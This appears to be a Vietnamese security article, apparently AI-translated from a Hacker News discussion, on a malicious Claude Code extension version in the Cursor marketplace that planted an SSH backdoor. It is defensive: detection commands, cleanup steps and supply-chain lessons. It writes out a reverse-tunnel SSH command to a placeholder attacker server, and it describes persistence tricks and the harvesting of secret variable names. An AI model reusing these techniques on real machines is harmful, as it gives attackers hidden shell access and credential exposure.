Ngày 29/10/2026, Cursor công bố rằng hai phiên bản 2.1.312 và 2.1.313 của extension Anthropic.claude-code trên Cursor VS Code Extension Marketplace đã bị sửa đổi độc hại. Công ty bảo mật Phorion phát hiện và phân tích mẫu này: extension cài một SSH backdoor có cơ chế duy trì sau khi khởi động lại, nhắm vào macOS, Linux và Windows.

Điểm cần làm rõ ngay: theo thông báo của Cursor, các phiên bản này không do Anthropic phát triển, và Cursor chưa có bằng chứng các phiên bản khác hay kênh phân phối chính thức bị ảnh hưởng. Trên Hacker News, một người tự giới thiệu là nhân viên Anthropic cũng nói hệ thống của công ty không bị xâm nhập. Vấn đề nằm ở marketplace, nhưng với người dùng thì kết quả giống nhau: bạn cài một thứ mang đúng tên quen thuộc và nó chạy với toàn bộ quyền của tài khoản bạn.

Bạn có bị ảnh hưởng không

Bạn thuộc diện cần kiểm tra nếu đã cài hoặc cập nhật lên một trong hai phiên bản trên từ Cursor Marketplace trong khoảng 2:27 đến 13:35 giờ Thái Bình Dương ngày 29/10/2026. Đổi sang giờ Việt Nam là từ khoảng 16:27 ngày 29/10 đến 3:35 sáng ngày 30/10.

Cursor đưa ra lệnh kiểm tra nhanh trên macOS, và có thể dùng tương tự trên Linux:

grep -qs svc-telemetry ~/.ssh/authorized_keys \
  && echo "svc-telemetry key found" \
  || echo "No key found"

Trên Windows:

$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" |
  Where-Object { Test-Path $_ }
if ($files -and (Select-String svc-telemetry $files)) { "svc-telemetry key found" } else { "No key found" }

Lệnh này chỉ dựa vào comment của key, nên Phorion khuyên khi điều tra nên so cả fingerprint. Không thấy chuỗi đó cũng chưa nói được máy hoàn toàn sạch, vì vậy hãy xem thêm danh sách file ở phần dọn dẹp bên dưới.

Chuỗi tấn công

Chạy trước cả khi extension được kích hoạt

File extension.js bị chèn một IIFE vào đầu bundle đã minify. Phần còn lại trông như extension bình thường, vẫn có activate và deactivate, vẫn có code UI. Vì IIFE chạy ngay lúc Node nạp module, payload thực thi trước callback activate. Người dùng không cần mở panel hay bấm gì cả.

Đây là bài học đầu tiên: trong VS Code và các bản fork, extension không có sandbox theo kiểu bạn tưởng. Nó có child_process, fs, http và mọi quyền của user đang chạy IDE.

Cài key và mở đường SSH

Payload thêm một public key Ed25519 của kẻ tấn công vào ~/.ssh/authorized_keys, chỉnh quyền thư mục về 0700 và file về 0600. Sau đó nó thử bật SSH server: dùng systemctl trên Linux, sudo -n systemsetup -setremotelogin on trên macOS, và PowerShell để cài OpenSSH Server trên Windows.

Không có exploit leo thang đặc quyền nào ở đây. sudo -n sẽ thất bại nếu máy không có passwordless sudo. Những ai cấu hình NOPASSWD cho tiện thì nên nghĩ lại về đánh đổi này.

Reverse tunnel để đi xuyên NAT

Máy dev thường nằm sau NAT nên kẻ tấn công không thể kết nối vào trực tiếp. Payload giải quyết bằng cách để máy nạn nhân chủ động kết nối ra ngoài:

ssh -N -R '*:0:localhost:22' tunnel@<server> -i <key>

Port 0 yêu cầu server cấp phát động một port. Mọi kết nối tới port đó sẽ đi ngược qua tunnel về localhost:22 của nạn nhân. Vì thế không cần viết logic C2 trong JavaScript: khi đã có tunnel và key, kẻ tấn công có shell tương tác và truyền file bằng chính SSH.

Cần phân biệt hai key. Key svc-telemetry nằm trong authorized_keys, để kẻ tấn công đăng nhập vào máy bạn. Key svc-telemetry-tun là private key nhúng trong mã độc, để máy bạn đăng nhập vào server tunnel.

Tunnel chạy trong một vòng lặp tách rời, thử lại mỗi 60 giây, nên vẫn sống sau khi đóng IDE. Nếu máy có autossh, payload sẽ ưu tiên dùng nó.

Duy trì sau khi khởi động lại

  • macOS: LaunchAgent ~/Library/LaunchAgents/com.apple.sysmond.plist, ngụy trang bằng label giống của Apple, chạy ~/.config/.smt.
  • Linux: dòng @reboot trong crontab. Phorion ghi nhận phần kiểm tra crontab có lỗi và có thể xóa cron job sẵn có khi chạy lặp lại, nên hãy kiểm tra lại cron của bạn.
  • Windows: scheduled task tên SysMon chạy dưới SYSTEM, nếu không đủ quyền thì thả sysmon.cmd vào thư mục Startup.

Gửi thông tin về cho kẻ tấn công

Một beacon HTTP gửi hostname, username, OS, đường dẫn thư mục, email Git toàn cục, IP công khai và tối đa 40 tên biến môi trường khớp với KEY|TOKEN|SECRET|PASS|AWS|GCP. Giá trị không bị gửi trong beacon này, nhưng danh sách tên đủ để kẻ tấn công biết máy nào có AWS key hay API token đáng khai thác. Cursor cũng lưu ý việc chỉ thu thập tên không loại trừ khả năng credential bị truy cập sau đó qua backdoor.

Mã độc cũng có bug

Trên macOS, script gọi systemsetup -getremotelogin mà không có quyền admin. Với user thường, lệnh này in ra thông báo yêu cầu quyền admin nhưng vẫn trả exit code 0. Script chỉ bật SSH khi output chứa Off, nên nó bỏ qua luôn bước bật. Trên Windows, lệnh cài dịch vụ lại bị đẩy qua helper hardcode /bin/sh.

Cursor đánh giá trên phần lớn máy macOS và Windows, bước bật SSH thất bại, nên kẻ tấn công không đăng nhập được qua tunnel. Cursor cũng cho biết đã phối hợp với nhà cung cấp hạ tầng để đưa server tấn công offline. Tuy vậy, đừng coi đó là lý do bỏ qua: nếu Remote Login đã bật sẵn trên máy, hoặc bạn bật nó sau này, phần key đã cài vẫn còn nguyên. Với dev, bật SSH trên máy cá nhân không phải chuyện hiếm.

Dọn dẹp nếu máy dính

Gỡ extension là chưa đủ, vì persistence chạy độc lập với IDE. Các bước theo Phorion và Cursor:

  1. Dừng vòng lặp /bin/sh và các tiến trình ssh, autossh kết nối tới 134.209.82[.]225.
  2. Gỡ LaunchAgent, dòng cron hoặc scheduled task và file Startup tương ứng, xóa ~/.config/.smt, ~/.config/.smtk.
  3. Xóa key svc-telemetry khỏi authorized_keys, xóa .stk_* trong thư mục tạm, kiểm tra xem SSH có bị bật ngoài ý muốn không.
  4. Đọc log SSH. Đăng nhập qua tunnel sẽ hiện như đến từ 127.0.0.1 hoặc ::1, nên đừng bỏ qua các dòng localhost.
  5. Từ một máy tin cậy, rotate credential và session mà tài khoản đó truy cập được. Cursor cũng đề nghị cân nhắc cài lại máy.

Rút ra gì cho đội dev

Coi extension IDE là một phần của supply chain. Nhiều team đã quét dependency và khóa version trong lockfile, nhưng để IDE tự cập nhật extension hoàn toàn. Trong thảo luận trên Hacker News, một người dẫn ghi chú phát hành VS Code 1.123: có tùy chọn trì hoãn tự động cập nhật extension, nhưng độ trễ không áp dụng với các publisher được tin cậy. Hãy đọc lại cấu hình của công cụ bạn dùng thay vì giả định.

Đặt độ trễ khi có thể. Bản độc hại ở đây tồn tại khoảng 11 giờ. Một độ trễ vài ngày trước khi nhận phiên bản mới đã đủ tránh được sự cố kiểu này.

Giảm thứ nằm sẵn trên máy dev. Mã độc liệt kê biến môi trường vì đó là nơi nhiều người để token dài hạn. Dùng credential ngắn hạn, SSO cho cloud CLI và tắt NOPASSWD sẽ thu hẹp thiệt hại đáng kể.

Theo dõi hành vi thay vì tên lệnh. Mã độc ghi authorized_keys trực tiếp bằng fs.appendFileSync, nên rule chỉ bắt echo hay tee sẽ không thấy gì. Tín hiệu tốt hơn là tiến trình helper của IDE ghi vào ~/.ssh/, hoặc tiến trình không phải của Apple tạo plist có label com.apple.*.

Một công cụ AI coding càng được tin dùng thì càng là mục tiêu giá trị, vì nó được cài trên đúng những chiếc máy nhiều quyền nhất của công ty. Lần này mã độc có bug và thời gian tồn tại ngắn. Không nên trông chờ lần sau cũng vậy.


Bài viết được AI của DevViet viết lại bằng tiếng Việt từ một bài viết/thảo luận tiếng Anh trên Hacker News, có thể chưa chính xác tuyệt đối. Nguồn: Official Claude Code Extension Compromise: Security Advisory